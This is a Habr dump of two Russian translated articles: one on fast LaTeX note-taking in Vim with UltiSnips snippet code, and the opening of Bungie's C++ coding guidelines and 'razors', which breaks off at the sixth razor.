[](https://castel.dev/static/cb323a2ec665d98f93f78e13d3972e0e/a4de1/ca3.png)
Эти конспекты, включая рисунки, делаются прямо на лекции и не редактируются впоследствии. Чтобы эффективно писать конспекты в LaTeX, должны соблюдаться четыре правила:
* Запись текста и формул в LaTeX должна быть такой же быстрой, как у лектора, пишущего на доске: задержка недопустима.
* Рисование иллюстраций должно быть почти таким же быстрым, как у лектора.
* Управление заметками, то есть добавление заметки, компоновка всех заметок, последних двух лекций, поиск в заметках и т. д., должно проходить легко и быстро.
* Должно быть возможно аннотирование pdf-документов с помощью LaTeX, если я хочу написать заметку вместе с pdf-документом.
Эта статья посвящена первому пункту: конспектирование на LaTeX.
Vim и LaTeX
===========
Для записи текста и математических формул на LaTeX я использую Vim. Это мощный текстовый редактор общего назначения, весьма расширяемый. Я использую его для написания кода, LaTeX, текста Markdown… в общем, любых текстов. У него довольно крутая кривая обучения, но если вы освоили базу, уже трудно вернуться к редактору без привычных горячих клавиш. Вот как выглядит мой экран, когда я редактирую документ LaTeX:
[](https://castel.dev/static/4282d15d03150c89182ab56634d2b4b0/a4de1/vimzathura.png)
Слева Vim, а справа — программа [Zathura](https://pwmt.org/projects/zathura/) для просмотра PDF, которая тоже поддерживает сочетания клавиш в стиле Vim. Я работаю в Ubuntu с оконным менеджером [bspwm](https://github.com/baskerville/bspwm). В качестве плагина LaTeX установлен [vimtex](https://github.com/lervag/vimtex). Он обеспечивает подсветку синтаксиса, оглавление, synctex и т. д. С помощью [vim-plug](https://github.com/junegunn/vim-plug) я настроил его следующим образом:
`Plug 'lervag/vimtex'
let g:tex_flavor='latex'
let g:vimtex_view_method='zathura'
let g:vimtex_quickfix_mode=0
set conceallevel=1
let g:tex_conceal='abdmg'`
Последние две строки настраивают маскировку. Это функция, в которой код LaTeX заменяется или становится невидимым, когда курсор находится не в этой строке. Если спрятать `\ [`, `\]`, `$`, то они не так бросаются в глаза, что даёт лучший обзор документа. Эта функция также заменяет `\bigcap` на `∩`, `\in` на `∈` и т. д., как показано на анимации:
С такой настройкой можно добиться поставленной задачи: писать на LaTeX так же быстро, как пишет лектор на доске. Здесь в игру вступают сниппеты.
Сниппеты
========
### Что такое сниппет?
Сниппет — это короткий фрагмент текста для многоразового использования, который вызывается другим текстом. Например, при наборе sign и нажатии Tab, слово sign превращается в подпись:
Сниппеты могут быть динамическими: когда я набираю `today` и нажимаю `Tab`, слово `today` заменяется текущей датой, а `box`-`Tab` становится полем, которое автоматически увеличивается в размере.
Вы даже можете использовать один сниппет внутри другого:
### Создание сниппетов с помощью UltiSnips
Для управления сниппетами я использую плагин [UltiSnips](https://github.com/SirVer/ultisnips). Вот его конфигурация:
```
Plug 'sirver/ultisnips'
let g:UltiSnipsExpandTrigger = ''
let g:UltiSnipsJumpForwardTrigger = ''
let g:UltiSnipsJumpBackwardTrigger = ''
```
Код для сниппета `sign`:
```
snippet sign "Signature"
Yours sincerely,
Gilles Castel
endsnippet
```
Для динамических фрагментов можете поместить код между обратными кавычками ````, этот код будет запущен при расширении сниппета. Здесь я использовал bash для форматирования текущей даты: `date + %F`.
```
snippet today "Date"
`date +%F`
endsnippet
```
Внутри блока ``!p ... `` можно писать на Питоне. Посмотрите на код для сниппета `box`:
```
snippet box "Box"
`!p snip.rv = '┌' + '─' * (len(t[1]) + 2) + '┐'`
│ $1 │
`!p snip.rv = '└' + '─' * (len(t[1]) + 2) + '┘'`
$0
endsnippet
```
Вместо этого кода в документ будет вставлено значение переменной `snip.rv`. Внутри блоков у вас есть доступ к текущему состоянию сниппета, например, `t[1]` соответствует месту первой табуляции, `fn` текущему имени файла и т. д.
Сниппеты LaTeX
==============
Сниппеты значительно ускоряют работу, особенно некоторые из более сложных сниппетов. Начнём с самых простых.
### Окружение
Чтобы вставить окружение, достаточно ввести `beg` в начале строки. Затем имя окружения, которое отражается в команде `\end{}`. Нажатие `Tab` помещает курсор внутрь.
Код следующий:
```
snippet beg "begin{} / end{}" bA
\begin{$1}
$0
\end{$1}
endsnippet
```
Символ `b` означает, что такой сниппет работает только в начале строки, `A` означает автоматическое расширение, то есть не нужно нажимать `Tab`. Места табуляции, куда осуществляется переход по нажатию `Tab` и `Shift`+`Tab`, обозначены как `$1`, `$2`,… и последнее обозначено `$0`.
### Встроенные и отображаемые формулы
Два самых часто используемых сниппета — `mk` и `dm`, которые запускают математический режим. Первый для встроенных формул, второй для отображаемых.
Сниппет для формул «умный»: он знает, когда вставлять пробел после знака доллара. Когда я начинаю вводить слово непосредственно за закрывающим $, он добавляет пробел. Но если я набираю другой символ, то он не добавляет пробел, как в случае '$p$-value'.
Код этого сниппета:
```
snippet mk "Math" wA
$${1}$`!p
if t[2] and t[2][0] not in [',', '.', '?', '-', ' ']:
snip.rv = ' '
else:
snip.rv = ''
`$2
endsnippet
```
`W` в конце первой строки означает, что сниппет расширяется только на границах слов. Поэтому, например, `hellomk` не сработает, а `hello mk` сработает.
Сниппет для отображаемых формул более простой, но тоже довольно удобный. Он заставляет всегда заканчивать уравнения точкой.
### Подстрочные и надстрочные знаки
Еще один полезный сниппет — для индексов. Он изменяет `a1` на `a_1` и `a_12` на `a_{12}`.
Код этого сниппета в качестве триггера использует регулярное выражение. Он расширяет фрагмент, когда вы вводите символ, за которым следует цифра, закодированная как `[A-Za-z]\d`, или символ, за которым следуют `_` и две цифры: `[A-Za-z]_\d\d`.
```
snippet '([A-Za-z])(\d)' "auto subscript" wrA
`!p snip.rv = match.group(1)`_`!p snip.rv = match.group(2)`
endsnippet
snippet '([A-Za-z])_(\d\d)' "auto subscript2" wrA
`!p snip.rv = match.group(1)`_{`!p snip.rv = match.group(2)`}
endsnippet
```
Когда вы объединяете части регулярного выражения в группу, используя круглые скобки, например, `(\d\d)`, то можете использовать их в расширении сниппета через `match.group(i)` в Python.
Для надстрочных символов я использую `td`, который превращается в `^{}`. Хотя для самых распространённых (квадрат, куб и несколько других) предназначены отдельные сниппеты, такие как `sr`, `cb` и `comp`.
```
snippet sr "^2" iA
^2
endsnippet
snippet cb "^3" iA
^3
endsnippet
snippet compl "complement" iA
^{c}
endsnippet
snippet td "superscript" iA
^{$1}$0
endsnippet
```
### Дроби
Один из самых удобных сниппетов работает с дробями. Он делает следующие замены:
`//` → `\frac{}{}`
`3/` → `\frac{3}{}`
`4\pi^2/` → `\frac{4\pi^2}{}`
`(1 + 2 + 3)/` → `\frac{1 + 2 + 3}{}`
`(1+(2+3)/)` → `(1 + \frac{2+3}{})`
`(1 + (2+3))/` → `\frac{1 + (2+3)}{}`
Для первого простой код:
```
snippet // "Fraction" iA
\\frac{$1}{$2}$0
endsnippet
```
Вторая и третья замены происходят с помощью регулярных выражений, соответствующих выражениям `3/`, `4ac/`, `6\pi^2/`, `a_2/` и т. д.
```
snippet '((\d+)|(\d*)(\\)?([A-Za-z]+)((\^|_)(\{\d+\}|\d))*)/' "Fraction" wrA
\\frac{`!p snip.rv = match.group(1)`}{$1}$0
endsnippet
```
Как видите, регулярные выражения могут стать весьма длинными, но вот диаграмма, которая должна всё объяснить:
В четвёртом и пятом случаях сниппет пытается найти соответствующую скобку. Поскольку механизм регулярных выражений UltiSnips этого не умеет, пришлось применить Python:
```
priority 1000
snippet '^.*\)/' "() Fraction" wrA
`!p
stripped = match.string[:-1]
depth = 0
i = len(stripped) - 1
while True:
if stripped[i] == ')': depth += 1
if stripped[i] == '(': depth -= 1
if depth == 0: break;
i -= 1
snip.rv = stripped[0:i] + "\\frac{" + stripped[i+1:-1] + "}"
`{$1}$0
endsnippet
```
Наконец, хочу поделиться сниппетом, который превращает текущее выделение в дробь. Выделяете текст, нажимаете `Tab`, набираете `/` и снова `Tab`.
Код использует переменную `${VISUAL}`, которая отражает ваш выбор.
```
snippet / "Fraction" iA
\\frac{${VISUAL}}{$1}$0
endsnippet
```
### Sympy и Mathematica
Другой классный, но менее используемый сниппет, запускает [sympy](https://www.sympy.org/) для оценки математических выражений. Например: `sympy` `Tab` расширяется до `sympy | sympy`, а `sympy 1 + 1 sympy` `Tab` превращается в `2`.
```
snippet sympy "sympy block " w
sympy $1 sympy$0
endsnippet
priority 10000
snippet 'sympy(.*)sympy' "evaluate sympy" wr
`!p
from sympy import *
x, y, z, t = symbols('x y z t')
k, m, n = symbols('k m n', integer=True)
f, g, h = symbols('f g h', cls=Function)
init_printing()
snip.rv = eval('latex(' + match.group(1).replace('\\', '') \
.replace('^', '**') \
.replace('{', '(') \
.replace('}', ')') + ')')
`
endsnippet
```
Для Mathematica тоже возможно нечто подобное:
```
priority 1000
snippet math "mathematica block" w
math $1 math$0
endsnippet
priority 10000
snippet 'math(.*)math' "evaluate mathematica" wr
`!p
import subprocess
code = 'ToString[' + match.group(1) + ', TeXForm]'
snip.rv = subprocess.check_output(['wolframscript', '-code', code])
`
endsnippet
```
### Постфикс-сниппеты
Мне кажется, достойны упоминания также постфикс-сниппеты, которые вставляют соответствующий текст после ввода определённых символов. Например, `phat` → `\hat{p}` и `zbar` → `\overline{z}`. Аналогичный сниппет вставляет вектор, например, `v,.` → `\vec{v}` и `v.,` → `\vec{v}`. Порядок точки и запятой не имеет значения, так что я могу нажимать их одновременно. Эти сниппеты реально экономят время, потому что вы вводите их с той же скоростью, с какой лектор пишет на доске.
Обратите внимание, что по-прежнему работают префиксы `bar` и `hat`, только с более низким приоритетом. Код для этих сниппетов:
```
priority 10
snippet "bar" "bar" riA
\overline{$1}$0
endsnippet
priority 100
snippet "([a-zA-Z])bar" "bar" riA
\overline{`!p snip.rv=match.group(1)`}
endsnippet
```
```
priority 10
snippet "hat" "hat" riA
\hat{$1}$0
endsnippet
priority 100
snippet "([a-zA-Z])hat" "hat" riA
\hat{`!p snip.rv=match.group(1)`}
endsnippet
```
```
snippet "(\\?\w+)(,\.|\.,)" "Vector postfix" riA
\vec{`!p snip.rv=match.group(1)`}
endsnippet
```
### Другие сниппеты
У меня ещё около сотни часто используемых сниппетов. Все они доступны [здесь](https://github.com/gillescastel/latex-snippets). Большинство из них довольно просты. Например, `!>` превращается в `\mapsto`, `->` становится `\to` и т. д.
`fun` трансформируется в `f: \R \to \R :`, `!>` → `\mapsto`, `cc` → `\subset`.
`lim` становится `\lim_{n \to \infty}`, `sum` → `\sum_{n = 1}^{\infty}`, `ooo` → `\infty`.
### Сниппеты для конкретных курсов
Кроме часто используемых, у меня есть и специфические сниппеты. Они загружаются одной строкой в `.vimrc`:
```
set rtp+=~/current_course
```
Здесь `current_course` — это [символическая ссылка](https://en.wikipedia.org/wiki/Symbolic_link) на текущий курс (подробнее об этом в другой статье). В этой папке лежит файл `~/current_course/UltiSnips/tex.snippets`, куда я добавляю сниппеты курса. Например, для квантовой механики есть сниппеты для записи квантовых состояний бра и кет.
`→ `\bra{a}`
`→ `\bra{\psi}`
`|a>` → `\ket{a}`
`|q>` → `\ket{\psi}`
→ `\braket{a}{b}`
Поскольку в квантовой механике часто используется `\psi`, то я сделал автоматическую замену всех `q` в braket на `\psi`.
```
snippet "\<(.*?)\|" "bra" riA
\bra{`!p snip.rv = match.group(1).replace('q', f'\psi').replace('f', f'\phi')`}
endsnippet
snippet "\|(.*?)\>" "ket" riA
\ket{`!p snip.rv = match.group(1).replace('q', f'\psi').replace('f', f'\phi')`}
endsnippet
snippet "(.*)\\bra{(.*?)}([^\|]*?)\>" "braket" riA
`!p snip.rv = match.group(1)`\braket{`!p snip.rv = match.group(2)`}{`!p snip.rv = match.group(3).replace('q', f'\psi').replace('f', f'\phi')`}
endsnippet
```
### Контекст
При написании этих сниппетов следует учитывать, могут ли они встретиться в обычном тексте. Например, согласно моему словарю, в английском языке около 72 слов, а в голландском — 2000 слов, содержащих sr. Таким образом, когда я набираю слово `disregard`, `sr` заменится на `^2`, и получится `di^2egard`.
Решение этой проблемы — в добавлении контекста к сниппетам. С помощью подсветки синтаксиса Vim определяется, должен ли UltiSnips применять сниппет, в зависимости от того, находитесь ли вы в режиме формул или текста. Я придумал такой вариант:
```
global !p
texMathZones = ['texMathZone'+x for x in ['A', 'AS', 'B', 'BS', 'C',
'CS', 'D', 'DS', 'E', 'ES', 'F', 'FS', 'G', 'GS', 'H', 'HS', 'I', 'IS',
'J', 'JS', 'K', 'KS', 'L', 'LS', 'DS', 'V', 'W', 'X', 'Y', 'Z']]
texIgnoreMathZones = ['texMathText']
texMathZoneIds = vim.eval('map('+str(texMathZones)+", 'hlID(v:val)')")
texIgnoreMathZoneIds = vim.eval('map('+str(texIgnoreMathZones)+", 'hlID(v:val)')")
ignore = texIgnoreMathZoneIds[0]
def math():
synstackids = vim.eval("synstack(line('.'), col('.') - (col('.')>=2 ? 1 : 0))")
try:
first = next(
i for i in reversed(synstackids)
if i in texIgnoreMathZoneIds or i in texMathZoneIds
)
return first != ignore
except StopIteration:
return False
endglobal
```
Теперь можно добавить `context "math()"` к тем сниппетам, которые вы хотите применять только в математическом контексте.
```
context "math()"
snippet sr "^2" iA
^2
endsnippet
```
Обратите внимание, что математический контекст — тонкая вещь. Иногда в режиме формул мы тоже пишем текст, используя `\text{...}`. В этом случае мы не хотим применять сниппеты. Однако в следующем случае: `\[ \text{$...$} \]`, они *должны* применяться. Вот почему код для контекста `math` не так прост. Следующая анимация иллюстрирует эти тонкости.
### Исправление орфографических ошибок на лету
Хотя формулы — важная часть конспекта, основную часть времени я печатаю на английском языке. Примерно 80 слов в минуту, мои навыки набора текста неплохие, но я делаю много опечаток. Вот почему я добавил привязку к Vim, которая исправляет орфографические ошибки, не мешая работе. Когда я во время ввода нажимаю `Ctrl+L`, исправляется предыдущая орфографическая ошибка. Это выглядит так:
Мои настройки для проверки орфографии:
```
setlocal spell
set spelllang=nl,en_gb
inoremap u[s1z=`]au
```
Здесь переход к предыдущей орфографической ошибке `[s`, затем выбор первого варианта `1z=` и возврат ``]a`. Команды `u` в середине позволяют быстро отменить сделанное исправление.
### В заключение
Благодаря сниппетам Vim, написание кода LaTeX больше не вызывает раздражение, а становится скорее удовольствием. В сочетании с проверкой орфографии на лету это позволяет удобно и быстро конспектировать лекции по математике. В [следующей статье](https://habr.com/ru/post/450088/) расскажу об остальных темах, таких как рисование иллюстраций в цифровом виде и встраивание их в документ LaTeX.`` | https://habr.com/ru/post/445066/ | null | ru | null |
# Гайдлайны и бритвы компании Bungie по кодингу на C++
Для создания игры наподобие Destiny требуется много командной работы и мастерства. У нас есть талантливые люди во всех областях знаний, однако было непросто достичь уровня координации, необходимого для создания игры масштаба Destiny.
Это похоже на то, как если бы группе людей выдали кисть и один холст, надеясь получить в результате качественный портрет. Чтобы создать нечто, отличное от хаоса, необходимо договориться о правилах. Например, выбрать палитру, размеры кистей, используемые в разных ситуациях, да и само содержимое картины. Достичь такой согласованности в команде невероятно важно.
В сфере разработки одним из способов достижения согласованности являются инструкции (гайдлайны) по кодингу: правила, которые соблюдают наши инженеры, чтобы обеспечивать возможность поддержки кодовой базы. Сегодня я расскажу о том, как мы определились с тем, какие гайдлайны нам нужны и как они помогают в решении проблем, с которыми сталкивается крупная студия.
В этой статье мы делаем упор на разработке игр и языке программирования C++, но даже если вы не знаете C++ и не работаете инженером, она всё равно будет для вас интересной.
Что такое гайдлайн по кодингу?
------------------------------
Гайдлайны — это правила, которые соблюдают инженеры при написании кода. Обычно они применяются для задания определённого стиля форматирования, для обеспечения правильного использования системы и чтобы не возникали распространённые проблемы. Хорошо написанный гайдлайн даёт чётко прописанные инструкции в стиле «Сделайте X» или «Не делайте Y», а также объясняет причины включения этого правила в гайдлайн. Вот пара примеров из наших гайдлайнов по C++:
> ##### Не используйте ключевое слово static напрямую
>
>
>
> *Ключевое слово «static» выполняет множество различных задач в C++, в том числе объявляет невероятно опасные статические переменные, локальные для функций.
>
>
>
> Вам следует использовать более специфичные ключевые слова-обёртки в cseries\_declarations.h, например, static\_global, static\_local, и т.п. Это позволяет нам эффективно выполнять аудит опасных статических локальных переменных функций.*
> ##### Фигурные скобки на отдельных строках
>
>
>
> *Фигурные скобки всегда располагаются на отдельных строках.
>
>
>
> Допустимо исключение для однострочных определений встраиваемых функций.*
Обратили внимание, что во втором гайдлайне указано исключение? Обычно разработчики должны следовать гайдлайнам, но всегда есть место для исключений, если они приводят к повышению качества кода. Однако основания для таких исключений должны быть достаточно убедительными, например, создание объективно более чистого кода или обход конкретного пограничного случая системы, который иным способом не устранить. Если такое встречается часто и ситуация чётко определена, то мы добавляем в гайдлайн официальное исключение.
Давайте воспользуемся примером из повседневной жизни. В США самое частое правило, которое нужно соблюдать при вождении — ехать по правой стороне дороги. Люди ездят так почти всегда. Но на узкой сельской дороге, где мало машин, чаще всего нанесена пунктирная разделительная полоса, означающая, что разрешено переместиться на левую сторону дороги, чтобы обогнать медленную машину. Исключение из правила!
Но даже если у вас есть множество хорошо написанных и продуманных гайдлайнов, как сделать так, чтобы люди им следовали? В компании Bungie основным инструментом для применения гайдлайнов является анализ кода (code review). При анализе кода ты показываешь изменения в своём коде коллегам-инженерам, и они дают отзывы о нём, прежде чем ты поделишься им с остальной частью команды. Это похоже на то, как мою статью перед публикацией вычитывали другие люди в поисках грамматических ошибок или неуклюжих предложений. Анализ кода — прекрасный инструмент обеспечения соответствия гайдлайнам, распространения знаний о системе и предоставления проверяющим и проверяемым возможности находить баги до того, как они произойдут, благодаря чему они не влияют на здоровье кодовой базы и команды.
Также можно проверять свой код инструментами или автоматически исправлять его при наличии любых легко выявляемых нарушений гайдлайнов, которые обычно связаны с форматированием или правильным использованием языка программирования. К сожалению, эта система для нашей кодовой базы на C++ пока не готова, поскольку у нас есть специальная разметка, которую мы используем для рефлексии типов и аннотирования метаданных, а их готовый инструмент распознать не может. Но мы работаем в этом направлении!
В принципе, мы вкратце описали механику написания гайдлайнов и работы с ними. Однако мы не рассмотрели самый важный аспект: проверку того, что гайдлайны представляют ценность для команды и кодовой базы. Как же мы решаем, что ценно? Давайте для начала рассмотрим некоторые из трудностей, способных усложнить разработку, и будем отталкиваться от них.
Трудности, говорите?
--------------------
Первая трудность — это язык программирования, который мы используем для разработки игр: C++. Это мощный высокопроизводительный язык, соединяющий в себе современные концепции с олдскульными принципами. Он является одним из самых популярных вариантов для разработки AAA-игр, требующих выполнять максимальное количество вычислений за наименьший объём времени. Такая производительность в основном достигается благодаря тому, что разработчикам предоставляется больше контроля над низкоуровневыми ресурсами, которыми им нужно управлять вручную. И эта великая сила требует от инженеров великой ответственности: ресурсами нужно управлять правильно, а запутанные части языка применять соответствующим образом.
К тому же сейчас наша кодовая база довольно велика, примерно 5,1 миллиона строк кода на C++ для каждой игры. Часть из него — это недавно написанный код, например, код поддержки Cross Play в Destiny. Части этого кода уже двадцать лет, например, коду, проверяющему нажатия клавиш. Часть кода платформозависима для поддержки всех устройств, для которых мы выпускаем игру. А часть кода — это мусор, который необходимо удалить.
Изменения в давно устоявшихся гайдлайнах могут внести расхождения между старым и новым кодом (если, конечно же, мы не можем вложить ресурсы в глобальное переписывание кода), поэтому необходимо соблюдать баланс между любыми изменениями в гайдлайнах и весом уже написанного кода.
У нас ведь не только есть весь этот код, но мы и работаем над несколькими версиями этого кода параллельно! Например, ветвь разработки Season of the Splicer называется v520, а один из наших последних сезонов называется v530. В версии v600 произошли серьёзные изменения для поддержки следующего крупного расширения The Witch Queen. Изменения, сделанные в v520, автоматически интегрируются во все дальнейшие ветви, в v530, а потом и в v600, чтобы разработчики этих ветвей работали с самыми актуальными версиями файлов. Однако такой процесс интеграции может вызывать проблемы, когда один участок кода изменяется в нескольких ветвях и конфликт необходимо разрешать вручную. Или хуже того, часть кода может обеспечивать беспроблемное слияние, но вызывать изменение логики, приводящее к возникновению бага. В гайдлайнах должны присутствовать инструкции, снижающие вероятность возникновения таких проблем.
Кроме того, Bungie — это крупная компания; гораздо крупнее, чем пара студентов колледжа, пищущих игры в комнате общежития в 1991 году. Сейчас на нас работает больше 150 инженеров, и примерно 75 из них регулярно работают над игровым клиентом на C++. Каждый из них — умный, трудолюбивый человек, имеющий собственный опыт и мнение. Такое разнообразие — наша основная сила, и нам нужно пользоваться ею полностью, обеспечив доступность и понятность кода, написанного каждым из разработчиков.
Теперь, когда мы знаем, с какими трудностями сталкивается компания, можно выработать принципы, на которые стоит делать упор в гайдлайнах. Мы в компании Bungie называем эти принципы «бритвами гайдлайнов кодинга на C++» (C++ Coding Guideline Razors).
Бритвами? Теми, которыми бреются?
---------------------------------
Вообще да, но не совсем. Понятие [бритвы](https://en.wikipedia.org/wiki/Philosophical_razor) введено потому, что мы используем их для «сбривания» сложности и обеспечения чёткого фокуса на наших задачах (на решении трудностей, о которых мы говорили выше). Все создаваемые нами гайдлайны должны соответствовать одной или нескольким таким бритвам, а если какие-то из них бритвам не соответствуют, то они или вредны, или представляют собой лишнюю умственную нагрузку на команду.
Я расскажу о каждой из таких бритв, к введению которых пришла Bungie, и объясню логику каждой, а также приведу несколько примеров гайдлайнов, обеспечивающих соответствие бритве.
### №1 Отдавайте предпочтение понятности ценой времени написания
> Каждая строка кода будет прочитана множество раз многими людьми с разным опытом при редактировании её специалистом, поэтому отдавайте предпочтение явному, но подробному, а не краткому, но подразумеваемому.
При внесении изменений в кодовую базу нам чаще всего нужно тратить время на разбор окружающих систем, чтобы убедиться, что наше изменение будет соответствовать им, а уже потом писать новый код или вносить модификацию. Автором окружающего кода может быть член команды, бывший коллега или вы сами три года назад, уже забывший весь контекст. Кем бы он ни был, лучше всего помочь в продуктивности всем будущим читателям кода, сделав его чётким и понятным на момент его первоначального написания, даже если потребуется больше времени на ввод или поиск подходящих слов.
Примеры гайдлайнов Bungie в поддержку этой бритвы:
* Использование стандарта наименования snake\_case.
* Избегание аббревиатур (например, `screen_manager` вместо `scrn_mngr`)
* Поощрение добавления полезных внутристрочных комментариев.
Ниже представлен фрагмент кода UI, демонстрирующий работу этих гайдлайнов. Даже не видя окружающего кода, вы, вероятно, сможете получить представление о том, что он должен делать.
```
int32 new_held_milliseconds= update_context->get_timestamp_milliseconds() - m_start_hold_timestamp_milliseconds;
set_output_property_value_and_accumulate(
&m_current_held_milliseconds,
new_held_milliseconds,
&change_flags,
FLAG(_input_event_listener_change_flag_current_held_milliseconds));
bool should_trigger_hold_event= m_total_hold_milliseconds > NONE &&
m_current_held_milliseconds > m_total_hold_milliseconds &&
!m_flags.test(_flag_hold_event_triggered);
if (should_trigger_hold_event)
{
// Raise a flag to emit the hold event during event processing, and another
// to prevent emitting more events until the hold is released
m_flags.set(_flag_hold_event_desired, true);
m_flags.set(_flag_hold_event_triggered, true);
}
```
### №2 Избегайте различий, не имеющих разницы
> По мере возможности и без потери обобщённости снижайте мыслительную нагрузку, устраняя избыточные и произвольные альтернативы.
Эта и последующая бритва идут рука об руку; обе они связаны с нашей способностью выявлять различия. Можно написать определённое поведение в коде множеством разных способов, и иногда разница между ними не важна. Когда такое происходит, лучше устранить из кодовой базы возможность такого различия, чтобы читателям не нужно было определять её. Чтобы связать несколько фрагментов с одной концепцией, требуются мыслительные усилия, поэтому устранив эти ненужные различия, мы можем упростить читателю выявление паттернов кода и понимание кода с первого взгляда.
Печальный пример такого различия — использование для отступов табулатур или пробелов. В конечном итоге, не важно, что выберете вы, но этот выбор нужно сделать, чтобы избежать кода со смешанным форматированием, который очень быстро может стать нечитаемым.
Примеры гайдлайнов Bungie по кодингу, поддерживающих эту бритву:
* Используйте грамматику американского английского (например, «color» вместо «colour»).
* В общем случае используйте постинкремент (`index++`, а не `++index`).
* `*` и `&` должны располагаться рядом с именем переменной, а не именем типа (`int32 *my_pointer`, а не `int32* my_pointer`).
* Различные правила о пробелах и высокоуровневом упорядочивании кода в пределах файла.
### №3 Практикуйте визуальную целостность
> Используйте визуально отличающиеся паттерны, чтобы передать сложность и указать на опасности.
Это обратная сторона предыдущей бритвы, в ней мы хотим, чтобы различия, указывающие на важную концепцию, сильно выделялись. Это помогает читателям кода при отладке, чтобы они могли видеть элементы, стоящие их внимания при выявлении проблем.
Вот пример того, как мы делаем что-то реально заметным. В языке C++ можно использовать препроцессор для устранения частей кода из компиляции в зависимости от того, собираем ли мы версию игры для внутреннего использования, или нет. Обычно в игру встроено множество отладочных средств, которые необязательно оставлять в выпускаемой версии, поэтому они удаляются, когда выполняется компиляция игры для розничной продажи. Однако мы хотим гарантировать, чтобы код выпускаемой игры случайно не был помечен как код внутренней версии, в противном случае возникнут баги, проявляющиеся только в среде розничной версии. А их устранять не очень весело.
Мы справляемся с этим, делая директивы препроцессора C++ по-настоящему очевидными. Мы используем для нужных переключателей имена в верхнем регистре и выравниваем по левому краю все команды препроцессора, чтобы они выделялись на фоне остального кода. Вот пример того, как это выглядит:
```
void c_screen_manager::render()
{
bool ui_rendering_enabled= true;
#ifdef UI_DEBUG_ENABLED
const c_ui_debug_globals *debug_globals= ui::get_debug_globals();
if (debug_globals != nullptr && debug_globals->render.disabled)
{
ui_rendering_enabled= false;
}
#endif // UI_DEBUG_ENABLED
if (ui_rendering_enabled)
{
// ...
}
}
```
Примеры гайдлайнов Bungie по кодингу, поддерживающие эту бритву:
* Фигурные скобки всегда должны находиться в отдельной строке, чётко обозначая вложенную логику.
* Верхний регистр для символов препроцессора (например, `#ifdef PLATFORM_WIN64`).
* Отсутствие пробела слева от оператора присваивания, чтобы отличить его от оператора сравнения (например, `my_number= 42` и `my_number == 42`).
* Использование операторов указателей (`*`/`&`/`->`) вместо ссылок для указания на косвенную адресацию памяти.
### №4 Избегайте сбивающих с толку абстракций.
> При сокрытии сложности выделяйте характеристики, которые важно понимать заказчику.
В жизни мы постоянно используем абстракции, чтобы снижать сложность при донесении каких-то концепций. Вместо того, чтобы сказать: «Мне нужна тарелка с двумя кусками хлеба один поверх другого, между которыми находятся несколько слоёв ветчины и сыра», мы обычно говорим «Я хочу сэндвич с ветчиной и сыром». Сэндвич — это абстракция распространённого вида еды.
Естественно, что мы активно используем абстракции в коде. Функции оборачивают набор команд именем, параметрами и выходными значениями, чтобы их можно было легко многократно использовать в кодовой базе. Операторы позволяют нам выполнять работу в сжатом и хорошо читаемом виде. Классы объединяют данные и функциональность в модульный блок. Именно благодаря абстракциям мы пользуемся сегодня языками программирования, а не пишем приложения в сырых машинных опкодах.
Однако иногда абстракция может сбивать с толку. Если попросить у кого-нибудь сэндвич, существует вероятность того, что вы получите хот-дог или кесадилью, в зависимости от того, как человек интерпретирует понятие сэндвича. Аналогично и абстракции в коде можно использовать неправильно, что приводит к путанице. Например, операторы с классами можно переопределять и связывать с любой функциональностью, но считаете ли вы ясным, что `m_game_simulation++` соответствует вызову покадровой функции обновления для состояния симуляции? Нет! Это сбивающая с толку абстракция и в правильном виде она должна выглядеть примерно как `m_game_simulation.update()`, чтобы чётко сообщать о своём предназначении.
Цель этой бритвы — избегать использования нестандартных абстракций, чтобы назначение создаваемых абстракций было чётким и понятным. Это реализуется при помощи подобных гайдлайнов:
* Используйте стандартизированные префиксы переменных и типов для их быстрого распознавания.
+ например: `c_` для обозначения классовых типов и `e_` для перечислений (enum).
+ например: `m_` для переменных-членов, `k_` для констант.
* Никакой перегрузки операторов для нестандартной функциональности.
* Имена функций должны иметь очевидный смысл.
+ например: `get_blank()` должна иметь тривиальные затраты.
+ например: `try_to_get_blank()` может завершиться неудачно, но это поведение должно быть корректно.
+ например: ожидается, что `compute_blank()` или `query_blank()` должны иметь нетривиальные затраты.
### №5 Отдавайте предпочтение паттернам, повышающим надёжность кода.
> Желательно снизить вероятность того, что изменения в будущем (или конфликтующее изменение в другой ветви) приведут к появлению неочевидного бага. Желательно упрощать поиск багов, так как мы тратим гораздо больше времени на расширение и отладку, чем на реализацию.
Просто пиши совершенно логичный код, и багов не возникнет. Всё просто, так ведь?
Ну… на самом деле, не совсем. Многие трудности, о которых мы говорили ранее, сильно повышают вероятность возникновения бага, и иногда во время разработки просто можно что-то проглядеть. Ошибки случаются, и это нормально. К счастью, есть различные способы создания кода, которыми мы рекомендуем пользоваться для снижения вероятности появления багов.
Один из способов — увеличение количества валидации состояний, выполняемого во время выполнения; это гарантирует, что предложения инженера о поведении системы окажутся истинными. Мы в компании Bungie предпочитаем использовать для этого assert. Assert — это функция, которая просто проверяет истинность определённого условия, и если оно неистинно, то игра совершает контролируемый аварийный выход. Этот сбой можно немедленно отладить на рабочей станции инженера или загрузить в нашу систему TicketTrack с описанием assert, стеком вызова функций и файлом дампа для дальнейшего исследования. Кроме того, большинство assert вырезаются из розничной версии игры, потому что работа с игрой внутри компании и тестирование отдела QA подтвердило, что сбои по assert не происходят, то есть продаваемая игра не обязана тратить вычислительные ресурсы на эти проверки.
Ещё один способ — внедрение практик, способных снизить потенциальный эффект, которое будет иметь изменение в коде. Например, в одном из наших гайдлайнов по C++ допускается только один оператор `return` на каждую функцию. Опасность наличия нескольких операторов `return` заключается в том, что при добавлении новых операторов `return` в уже имеющуюся функцию вероятна утеря обязательного элемента логики, который расположен ниже в функции. Также это означает, что в будущем разработчики будут вынуждены разбираться во всех точках выхода из функции вместо использования вложенных условных операторов с отступами для визуализации потока выполнения функции. Благодаря тому, что гайдлайн допускает только один оператор `return` в конце функции, инженеру приходится создавать условные конструкции для демонстрации ветвления логики внутри функции, что повышает заметность кода, обёрнутого в условные конструкции, и его воздействия.
Вот некоторые из гайдлайнов Bungie по кодингу, поддерживающие эту бритву:
* Инициализируйте переменные во время объявления.
* Следуйте принципам правильности const для интерфейсов классов.
* Единственный оператор `return` в конце функции.
* Использование assert для валидации состояний.
* Избегайте нативных массивов и используйте наши собственные контейнеры.
### №6 Централизуйте управление жизненным циклом.
> Распределение управления жизненным циклом по разным системам с разными политиками усложняет правильный выбор при связывании систем и поведений. Вместо этого используйте общий набор инструментов и идиомы, а также по возможности избегайте управления жизненным циклом вашей системы.
